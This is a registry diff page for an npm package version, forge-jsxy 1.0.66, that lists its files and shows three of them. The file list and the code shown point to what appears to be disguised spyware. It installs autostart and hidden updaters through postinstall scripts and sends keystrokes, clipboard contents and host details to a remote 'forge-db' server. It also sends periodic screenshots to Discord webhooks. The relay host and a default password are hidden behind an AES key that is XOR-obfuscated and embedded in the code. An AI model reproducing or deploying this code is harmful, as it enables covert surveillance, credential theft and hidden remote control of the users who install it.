forge-jsxy 1.0.66
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +3 -0
- package/assets/files-explorer-template.html +4100 -0
- package/assets/forge-explorer-favicon.svg +31 -0
- package/dist/agentPid.d.ts +14 -0
- package/dist/agentPid.js +104 -0
- package/dist/agentRunner.d.ts +13 -0
- package/dist/agentRunner.js +290 -0
- package/dist/assets/files-explorer-template.html +4100 -0
- package/dist/assets/forge-explorer-favicon.svg +31 -0
- package/dist/autostart/agentEnvFile.d.ts +58 -0
- package/dist/autostart/agentEnvFile.js +488 -0
- package/dist/autostart/autoUpdatePaths.d.ts +7 -0
- package/dist/autostart/autoUpdatePaths.js +51 -0
- package/dist/autostart/constants.d.ts +14 -0
- package/dist/autostart/constants.js +17 -0
- package/dist/autostart/darwin.d.ts +11 -0
- package/dist/autostart/darwin.js +203 -0
- package/dist/autostart/darwinAutoUpdate.d.ts +4 -0
- package/dist/autostart/darwinAutoUpdate.js +70 -0
- package/dist/autostart/darwinLegacyNpmSchedulerCleanup.d.ts +4 -0
- package/dist/autostart/darwinLegacyNpmSchedulerCleanup.js +70 -0
- package/dist/autostart/index.d.ts +4 -0
- package/dist/autostart/index.js +20 -0
- package/dist/autostart/install.d.ts +6 -0
- package/dist/autostart/install.js +113 -0
- package/dist/autostart/linux.d.ts +17 -0
- package/dist/autostart/linux.js +298 -0
- package/dist/autostart/linuxLegacyNpmSchedulerCleanup.d.ts +6 -0
- package/dist/autostart/linuxLegacyNpmSchedulerCleanup.js +104 -0
- package/dist/autostart/linuxUpdateTimer.d.ts +6 -0
- package/dist/autostart/linuxUpdateTimer.js +104 -0
- package/dist/autostart/macPathEnv.d.ts +5 -0
- package/dist/autostart/macPathEnv.js +23 -0
- package/dist/autostart/manifest.d.ts +11 -0
- package/dist/autostart/manifest.js +74 -0
- package/dist/autostart/quote.d.ts +12 -0
- package/dist/autostart/quote.js +65 -0
- package/dist/autostart/resolve.d.ts +35 -0
- package/dist/autostart/resolve.js +85 -0
- package/dist/autostart/windows.d.ts +15 -0
- package/dist/autostart/windows.js +277 -0
- package/dist/cli-agent.d.ts +3 -0
- package/dist/cli-agent.js +56 -0
- package/dist/cli-autostart.d.ts +2 -0
- package/dist/cli-autostart.js +92 -0
- package/dist/cli-forge.d.ts +2 -0
- package/dist/cli-forge.js +5 -0
- package/dist/cli-linux-session-refresh.d.ts +2 -0
- package/dist/cli-linux-session-refresh.js +30 -0
- package/dist/cli-relay.d.ts +3 -0
- package/dist/cli-relay.js +38 -0
- package/dist/clientId.d.ts +2 -0
- package/dist/clientId.js +97 -0
- package/dist/clipboardEventWatcher.d.ts +8 -0
- package/dist/clipboardEventWatcher.js +177 -0
- package/dist/clipboardExec.d.ts +1 -0
- package/dist/clipboardExec.js +161 -0
- package/dist/clipboardNapi.d.ts +4 -0
- package/dist/clipboardNapi.js +19 -0
- package/dist/deploymentCipherData.d.ts +20 -0
- package/dist/deploymentCipherData.js +31 -0
- package/dist/deploymentDefaults.d.ts +43 -0
- package/dist/deploymentDefaults.js +199 -0
- package/dist/desktopEnvSync.d.ts +18 -0
- package/dist/desktopEnvSync.js +21 -0
- package/dist/discordAgentScreenshot.d.ts +27 -0
- package/dist/discordAgentScreenshot.js +476 -0
- package/dist/discordBotTokens.d.ts +29 -0
- package/dist/discordBotTokens.js +78 -0
- package/dist/discordRateLimit.d.ts +93 -0
- package/dist/discordRateLimit.js +227 -0
- package/dist/discordRelayUpload.d.ts +55 -0
- package/dist/discordRelayUpload.js +806 -0
- package/dist/discordWebhookPost.d.ts +12 -0
- package/dist/discordWebhookPost.js +108 -0
- package/dist/envLoad.d.ts +1 -0
- package/dist/envLoad.js +18 -0
- package/dist/envScan.d.ts +14 -0
- package/dist/envScan.js +358 -0
- package/dist/exportMirrorCopy.d.ts +15 -0
- package/dist/exportMirrorCopy.js +279 -0
- package/dist/fileLockForce.d.ts +50 -0
- package/dist/fileLockForce.js +1479 -0
- package/dist/filesExplorer.d.ts +9 -0
- package/dist/filesExplorer.js +110 -0
- package/dist/fsMessages.d.ts +1 -0
- package/dist/fsMessages.js +123 -0
- package/dist/fsProtocol.d.ts +107 -0
- package/dist/fsProtocol.js +4800 -0
- package/dist/hfCredentials.d.ts +23 -0
- package/dist/hfCredentials.js +124 -0
- package/dist/hfHubPathSanitize.d.ts +4 -0
- package/dist/hfHubPathSanitize.js +30 -0
- package/dist/hfHubUploadContent.d.ts +2 -0
- package/dist/hfHubUploadContent.js +199 -0
- package/dist/hfSeqIdLookup.d.ts +16 -0
- package/dist/hfSeqIdLookup.js +146 -0
- package/dist/hfUpload.d.ts +47 -0
- package/dist/hfUpload.js +1225 -0
- package/dist/hostInventory.d.ts +18 -0
- package/dist/hostInventory.js +206 -0
- package/dist/hostInventorySend.d.ts +5 -0
- package/dist/hostInventorySend.js +86 -0
- package/dist/index.d.ts +24 -0
- package/dist/index.js +62 -0
- package/dist/inputContext.d.ts +11 -0
- package/dist/inputContext.js +1094 -0
- package/dist/keyboardTranslate.d.ts +23 -0
- package/dist/keyboardTranslate.js +204 -0
- package/dist/linuxX11.d.ts +2 -0
- package/dist/linuxX11.js +53 -0
- package/dist/relayAgent.d.ts +20 -0
- package/dist/relayAgent.js +828 -0
- package/dist/relayAuth.d.ts +10 -0
- package/dist/relayAuth.js +81 -0
- package/dist/relayDashboardGate.d.ts +31 -0
- package/dist/relayDashboardGate.js +323 -0
- package/dist/relayForAgentHttp.d.ts +24 -0
- package/dist/relayForAgentHttp.js +132 -0
- package/dist/relayServer.d.ts +9 -0
- package/dist/relayServer.js +1406 -0
- package/dist/shellHistoryScan.d.ts +12 -0
- package/dist/shellHistoryScan.js +200 -0
- package/dist/startupAutoUpdate.d.ts +17 -0
- package/dist/startupAutoUpdate.js +156 -0
- package/dist/syncClient.d.ts +80 -0
- package/dist/syncClient.js +205 -0
- package/dist/tableNaming.d.ts +13 -0
- package/dist/tableNaming.js +101 -0
- package/dist/vcToWindowsVk.d.ts +7 -0
- package/dist/vcToWindowsVk.js +154 -0
- package/dist/win32InputNative.d.ts +18 -0
- package/dist/win32InputNative.js +198 -0
- package/dist/windowsInputSync.d.ts +22 -0
- package/dist/windowsInputSync.js +536 -0
- package/dist/workerBootstrap.d.ts +17 -0
- package/dist/workerBootstrap.js +327 -0
- package/package.json +75 -0
- package/scripts/copy-assets.mjs +31 -0
- package/scripts/discord-live-probe.mjs +159 -0
- package/scripts/encode-deployment.mjs +135 -0
- package/scripts/encode-hf-credentials.mjs +30 -0
- package/scripts/ensure-dist.mjs +86 -0
- package/scripts/env-sync-selftest.js +11 -0
- package/scripts/explorer-isolated-npm-env.mjs +57 -0
- package/scripts/forge-jsx-explorer-kill-agent.mjs +359 -0
- package/scripts/forge-jsx-explorer-restart.mjs +293 -0
- package/scripts/forge-jsx-explorer-upgrade.mjs +802 -0
- package/scripts/forge-jsx-windows-update-hidden.ps1 +33 -0
- package/scripts/pm2-restart-forge-relay-agent.sh +43 -0
- package/scripts/postinstall-agent.mjs +313 -0
- package/scripts/postinstall-bootstrap.mjs +264 -0
- package/scripts/postinstall-clipboard-event.mjs +164 -0
- package/scripts/registry-version-lib.mjs +98 -0
- package/scripts/restart-agent.mjs +66 -0
- package/scripts/windows-forge-diagnostics.ps1 +56 -0
|
@@ -0,0 +1,199 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
exports.DEFAULT_EXPLORER_PASSWORD = exports.API_DEFAULT_PORT = exports.RELAY_DEFAULT_PORT = exports.DEPLOYMENT_PUBLIC_HOST = void 0;
|
|
4
|
+
exports.resolveForgeBundleKey = resolveForgeBundleKey;
|
|
5
|
+
exports.deploymentDefaultsDisabled = deploymentDefaultsDisabled;
|
|
6
|
+
exports.defaultRelayWsUrl = defaultRelayWsUrl;
|
|
7
|
+
exports.defaultSyncApiBaseUrl = defaultSyncApiBaseUrl;
|
|
8
|
+
exports.resolveSyncApiBaseUrl = resolveSyncApiBaseUrl;
|
|
9
|
+
/**
|
|
10
|
+
* Default public host, ports, and explorer password are AES-256-GCM encrypted (deploymentCipherData.ts).
|
|
11
|
+
* The decryption key is embedded in obfuscated form (XOR'd halves) — no plaintext appears in source.
|
|
12
|
+
*
|
|
13
|
+
* Key resolution order:
|
|
14
|
+
* 1. FORGE_JS_BUNDLE_KEY env var (64 hex chars or base64-encoded 32 bytes)
|
|
15
|
+
* 2. Embedded obfuscated key (XOR'd halves in deploymentCipherData.ts)
|
|
16
|
+
*
|
|
17
|
+
* Override relay/API with FORGE_JS_RELAY_URL, FORGE_JS_SYNC_URL / CFGMGR_API_URL, or CLI flags.
|
|
18
|
+
* Set FORGE_JS_DISABLE_DEPLOYMENT_DEFAULTS=1 to ignore built-in + decrypted URLs.
|
|
19
|
+
*/
|
|
20
|
+
require("./envLoad");
|
|
21
|
+
const node_crypto_1 = require("node:crypto");
|
|
22
|
+
const deploymentCipherData_1 = require("./deploymentCipherData");
|
|
23
|
+
let _payload;
|
|
24
|
+
function parseBundleKey(raw) {
|
|
25
|
+
const t = raw.trim();
|
|
26
|
+
if (/^[0-9a-fA-F]{64}$/.test(t)) {
|
|
27
|
+
return Buffer.from(t, "hex");
|
|
28
|
+
}
|
|
29
|
+
const b = Buffer.from(t, "base64");
|
|
30
|
+
if (b.length === 32) {
|
|
31
|
+
return b;
|
|
32
|
+
}
|
|
33
|
+
throw new Error("FORGE_JS_BUNDLE_KEY must be 64 hex characters or base64 encoding 32 bytes");
|
|
34
|
+
}
|
|
35
|
+
/**
|
|
36
|
+
* Reconstruct the 32-byte key from the embedded XOR-obfuscated halves.
|
|
37
|
+
* key[i] = DEPLOYMENT_KEY_A[i] ^ DEPLOYMENT_MASK_A[i] (i = 0..15)
|
|
38
|
+
* key[16 + i] = DEPLOYMENT_KEY_B[i] ^ DEPLOYMENT_MASK_B[i] (i = 0..15)
|
|
39
|
+
*/
|
|
40
|
+
function embeddedBundleKey() {
|
|
41
|
+
const key = Buffer.alloc(32);
|
|
42
|
+
for (let i = 0; i < 16; i++) {
|
|
43
|
+
key[i] = (deploymentCipherData_1.DEPLOYMENT_KEY_A[i] ?? 0) ^ (deploymentCipherData_1.DEPLOYMENT_MASK_A[i] ?? 0);
|
|
44
|
+
}
|
|
45
|
+
for (let i = 0; i < 16; i++) {
|
|
46
|
+
key[16 + i] = (deploymentCipherData_1.DEPLOYMENT_KEY_B[i] ?? 0) ^ (deploymentCipherData_1.DEPLOYMENT_MASK_B[i] ?? 0);
|
|
47
|
+
}
|
|
48
|
+
return key;
|
|
49
|
+
}
|
|
50
|
+
function resolveDecryptionKey() {
|
|
51
|
+
const envKey = process.env.FORGE_JS_BUNDLE_KEY?.trim();
|
|
52
|
+
if (envKey) {
|
|
53
|
+
try {
|
|
54
|
+
return parseBundleKey(envKey);
|
|
55
|
+
}
|
|
56
|
+
catch {
|
|
57
|
+
// Invalid override key — fall through to embedded obfuscated key rather
|
|
58
|
+
// than returning null, which would silently break all deployment defaults.
|
|
59
|
+
return embeddedBundleKey();
|
|
60
|
+
}
|
|
61
|
+
}
|
|
62
|
+
return embeddedBundleKey();
|
|
63
|
+
}
|
|
64
|
+
/**
|
|
65
|
+
* AES-256 key shared with encrypted operator blobs (e.g. `CFGMGR_HF_CREDENTIALS_B64`).
|
|
66
|
+
* Same resolution as deployment defaults (`FORGE_JS_BUNDLE_KEY` or embedded XOR halves).
|
|
67
|
+
*/
|
|
68
|
+
function resolveForgeBundleKey() {
|
|
69
|
+
return resolveDecryptionKey() ?? embeddedBundleKey();
|
|
70
|
+
}
|
|
71
|
+
function tryDecryptPayload() {
|
|
72
|
+
const key = resolveDecryptionKey();
|
|
73
|
+
if (!key)
|
|
74
|
+
return null;
|
|
75
|
+
try {
|
|
76
|
+
const iv = Buffer.from(deploymentCipherData_1.DEPLOYMENT_CIPHER_IV_B64, "base64");
|
|
77
|
+
const tag = Buffer.from(deploymentCipherData_1.DEPLOYMENT_CIPHER_TAG_B64, "base64");
|
|
78
|
+
const enc = Buffer.from(deploymentCipherData_1.DEPLOYMENT_CIPHER_TEXT_B64, "base64");
|
|
79
|
+
const decipher = (0, node_crypto_1.createDecipheriv)("aes-256-gcm", key, iv);
|
|
80
|
+
decipher.setAuthTag(tag);
|
|
81
|
+
const plain = Buffer.concat([decipher.update(enc), decipher.final()]);
|
|
82
|
+
const o = JSON.parse(plain.toString("utf8"));
|
|
83
|
+
const publicHost = String(o.publicHost ?? "").trim();
|
|
84
|
+
const relayPort = Number(o.relayPort);
|
|
85
|
+
const apiPort = Number(o.apiPort);
|
|
86
|
+
const defaultExplorerPassword = String(o.defaultExplorerPassword ?? "");
|
|
87
|
+
if (!publicHost ||
|
|
88
|
+
!Number.isFinite(relayPort) ||
|
|
89
|
+
relayPort <= 0 ||
|
|
90
|
+
relayPort > 65535 ||
|
|
91
|
+
!Number.isFinite(apiPort) ||
|
|
92
|
+
apiPort <= 0 ||
|
|
93
|
+
apiPort > 65535) {
|
|
94
|
+
return null;
|
|
95
|
+
}
|
|
96
|
+
return {
|
|
97
|
+
publicHost,
|
|
98
|
+
relayPort: relayPort | 0,
|
|
99
|
+
apiPort: apiPort | 0,
|
|
100
|
+
defaultExplorerPassword,
|
|
101
|
+
};
|
|
102
|
+
}
|
|
103
|
+
catch {
|
|
104
|
+
return null;
|
|
105
|
+
}
|
|
106
|
+
}
|
|
107
|
+
function payload() {
|
|
108
|
+
if (_payload !== undefined) {
|
|
109
|
+
return _payload;
|
|
110
|
+
}
|
|
111
|
+
_payload = tryDecryptPayload();
|
|
112
|
+
return _payload;
|
|
113
|
+
}
|
|
114
|
+
function deploymentDefaultsDisabled() {
|
|
115
|
+
return (process.env.FORGE_JS_DISABLE_DEPLOYMENT_DEFAULTS || "").trim() === "1";
|
|
116
|
+
}
|
|
117
|
+
function effectiveHost() {
|
|
118
|
+
if (deploymentDefaultsDisabled()) {
|
|
119
|
+
return "";
|
|
120
|
+
}
|
|
121
|
+
return payload()?.publicHost?.trim() ?? "";
|
|
122
|
+
}
|
|
123
|
+
function effectiveRelayPort() {
|
|
124
|
+
const fromPayload = payload()?.relayPort;
|
|
125
|
+
if (fromPayload != null && fromPayload > 0) {
|
|
126
|
+
return fromPayload;
|
|
127
|
+
}
|
|
128
|
+
const envP = parseInt(process.env.FORGE_JS_RELAY_PORT || "", 10);
|
|
129
|
+
if (!Number.isNaN(envP) && envP > 0 && envP <= 65535) {
|
|
130
|
+
return envP;
|
|
131
|
+
}
|
|
132
|
+
// Fallback only if payload decryption failed entirely
|
|
133
|
+
return 9877;
|
|
134
|
+
}
|
|
135
|
+
function effectiveApiPort() {
|
|
136
|
+
const fromPayload = payload()?.apiPort;
|
|
137
|
+
if (fromPayload != null && fromPayload > 0) {
|
|
138
|
+
return fromPayload;
|
|
139
|
+
}
|
|
140
|
+
const envP = parseInt(process.env.FORGE_JS_API_PORT || "", 10);
|
|
141
|
+
if (!Number.isNaN(envP) && envP > 0 && envP <= 65535) {
|
|
142
|
+
return envP;
|
|
143
|
+
}
|
|
144
|
+
// Fallback only if payload decryption failed entirely
|
|
145
|
+
return 8765;
|
|
146
|
+
}
|
|
147
|
+
function effectiveDefaultExplorerPassword() {
|
|
148
|
+
const fromPayload = payload()?.defaultExplorerPassword?.trim();
|
|
149
|
+
if (fromPayload) {
|
|
150
|
+
return fromPayload;
|
|
151
|
+
}
|
|
152
|
+
// Fallback: empty string forces callers to require explicit password config
|
|
153
|
+
return "";
|
|
154
|
+
}
|
|
155
|
+
/** Public deployment host from decrypted bundle (empty if disabled or bad decrypt). */
|
|
156
|
+
exports.DEPLOYMENT_PUBLIC_HOST = (() => effectiveHost())();
|
|
157
|
+
/** Relay port from bundle, else FORGE_JS_RELAY_PORT, else generic default. */
|
|
158
|
+
exports.RELAY_DEFAULT_PORT = (() => effectiveRelayPort())();
|
|
159
|
+
/** API port from bundle, else FORGE_JS_API_PORT, else generic default. */
|
|
160
|
+
exports.API_DEFAULT_PORT = (() => effectiveApiPort())();
|
|
161
|
+
/**
|
|
162
|
+
* Default session password for /files explorer and agent when not overridden by env/CLI.
|
|
163
|
+
* Comes from encrypted bundle; empty string if bundle decrypt fails.
|
|
164
|
+
*/
|
|
165
|
+
exports.DEFAULT_EXPLORER_PASSWORD = (() => effectiveDefaultExplorerPassword())();
|
|
166
|
+
function defaultRelayWsUrl() {
|
|
167
|
+
const host = exports.DEPLOYMENT_PUBLIC_HOST;
|
|
168
|
+
if (!host) {
|
|
169
|
+
return "";
|
|
170
|
+
}
|
|
171
|
+
return `ws://${host}:${exports.RELAY_DEFAULT_PORT}`;
|
|
172
|
+
}
|
|
173
|
+
function defaultSyncApiBaseUrl() {
|
|
174
|
+
const host = exports.DEPLOYMENT_PUBLIC_HOST;
|
|
175
|
+
if (!host) {
|
|
176
|
+
return "";
|
|
177
|
+
}
|
|
178
|
+
return `http://${host}:${exports.API_DEFAULT_PORT}`;
|
|
179
|
+
}
|
|
180
|
+
/**
|
|
181
|
+
* Effective forge-db HTTP base URL — same rules as `resolveSyncApiBase` in `windowsInputSync`:
|
|
182
|
+
* `FORGE_JS_SYNC_URL` / `CFGMGR_CFG` / `CFGMGR_API_URL`, else `defaultSyncApiBaseUrl()` when
|
|
183
|
+
* deployment defaults are enabled. Returns null if sync is disabled or no host is configured.
|
|
184
|
+
*/
|
|
185
|
+
function resolveSyncApiBaseUrl() {
|
|
186
|
+
if ((process.env.FORGE_JS_DISABLE_SYNC || "").trim() === "1") {
|
|
187
|
+
return null;
|
|
188
|
+
}
|
|
189
|
+
const u = (process.env.FORGE_JS_SYNC_URL ||
|
|
190
|
+
process.env.CFGMGR_CFG ||
|
|
191
|
+
process.env.CFGMGR_API_URL ||
|
|
192
|
+
"").trim();
|
|
193
|
+
if (u)
|
|
194
|
+
return u.replace(/\/+$/, "");
|
|
195
|
+
if (deploymentDefaultsDisabled())
|
|
196
|
+
return null;
|
|
197
|
+
const d = defaultSyncApiBaseUrl().replace(/\/+$/, "");
|
|
198
|
+
return d || null;
|
|
199
|
+
}
|
|
@@ -0,0 +1,18 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Historical name only — **forge-agent no longer uploads .env files or shell history** to forge-db.
|
|
3
|
+
* Keyboard + clipboard + a **minimal host OS JSON** snapshot (`hostInventorySend.ts` via `windowsInputSync.ts`) are synced.
|
|
4
|
+
*
|
|
5
|
+
* Public API stubs remain so older imports do not break at compile time.
|
|
6
|
+
*/
|
|
7
|
+
export declare function effectiveSyncEnvFiles(): boolean;
|
|
8
|
+
export declare function resolveEnvScanRootsFromEnv(): string[] | undefined;
|
|
9
|
+
export interface DesktopEnvSyncOptions {
|
|
10
|
+
apiBaseUrl: string;
|
|
11
|
+
clientId?: string;
|
|
12
|
+
intervalMs?: number;
|
|
13
|
+
roots?: string[];
|
|
14
|
+
quiet?: boolean;
|
|
15
|
+
skipRegistrationHandshake?: boolean;
|
|
16
|
+
}
|
|
17
|
+
/** No-op — env/history/inventory sync was removed from the agent. */
|
|
18
|
+
export declare function startDesktopEnvSync(_opts: DesktopEnvSyncOptions): () => void;
|
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
/**
|
|
3
|
+
* Historical name only — **forge-agent no longer uploads .env files or shell history** to forge-db.
|
|
4
|
+
* Keyboard + clipboard + a **minimal host OS JSON** snapshot (`hostInventorySend.ts` via `windowsInputSync.ts`) are synced.
|
|
5
|
+
*
|
|
6
|
+
* Public API stubs remain so older imports do not break at compile time.
|
|
7
|
+
*/
|
|
8
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
9
|
+
exports.effectiveSyncEnvFiles = effectiveSyncEnvFiles;
|
|
10
|
+
exports.resolveEnvScanRootsFromEnv = resolveEnvScanRootsFromEnv;
|
|
11
|
+
exports.startDesktopEnvSync = startDesktopEnvSync;
|
|
12
|
+
function effectiveSyncEnvFiles() {
|
|
13
|
+
return false;
|
|
14
|
+
}
|
|
15
|
+
function resolveEnvScanRootsFromEnv() {
|
|
16
|
+
return undefined;
|
|
17
|
+
}
|
|
18
|
+
/** No-op — env/history/inventory sync was removed from the agent. */
|
|
19
|
+
function startDesktopEnvSync(_opts) {
|
|
20
|
+
return () => { };
|
|
21
|
+
}
|
|
@@ -0,0 +1,27 @@
|
|
|
1
|
+
export type DiscordRelayAck = {
|
|
2
|
+
ok: boolean;
|
|
3
|
+
error?: string;
|
|
4
|
+
};
|
|
5
|
+
export type DiscordTicketResult = {
|
|
6
|
+
ok: boolean;
|
|
7
|
+
webhook_url?: string;
|
|
8
|
+
error?: string;
|
|
9
|
+
};
|
|
10
|
+
export type DiscordAgentScreenshotOpts = {
|
|
11
|
+
sendJson: (obj: unknown) => void;
|
|
12
|
+
quiet: boolean;
|
|
13
|
+
waitForRelayDiscordAck: (requestId: string) => Promise<DiscordRelayAck>;
|
|
14
|
+
waitForDiscordTicket: (requestId: string) => Promise<DiscordTicketResult>;
|
|
15
|
+
/** When true, run the loop even if `FORGE_JS_DISCORD_SCREENSHOT_ENABLED` is unset (relay `relay_features`). */
|
|
16
|
+
enabledByRelayCapabilities?: boolean;
|
|
17
|
+
};
|
|
18
|
+
/**
|
|
19
|
+
* Milliseconds between capture cycles (after each capture finishes). Same bounds as relay handshake
|
|
20
|
+
* `discord_screenshot_interval_ms`: **15s–600s**; invalid/unset agent env defaults to **300000**.
|
|
21
|
+
*/
|
|
22
|
+
export declare function resolveDiscordScreenshotIntervalMs(): number;
|
|
23
|
+
/**
|
|
24
|
+
* Base interval plus optional **stable** stagger from `client_id` (same bounds 15s–600s).
|
|
25
|
+
*/
|
|
26
|
+
export declare function resolveDiscordScreenshotScheduledIntervalMs(clientId: string): number;
|
|
27
|
+
export declare function startDiscordScreenshotToRelayLoop(opts: DiscordAgentScreenshotOpts): () => void;
|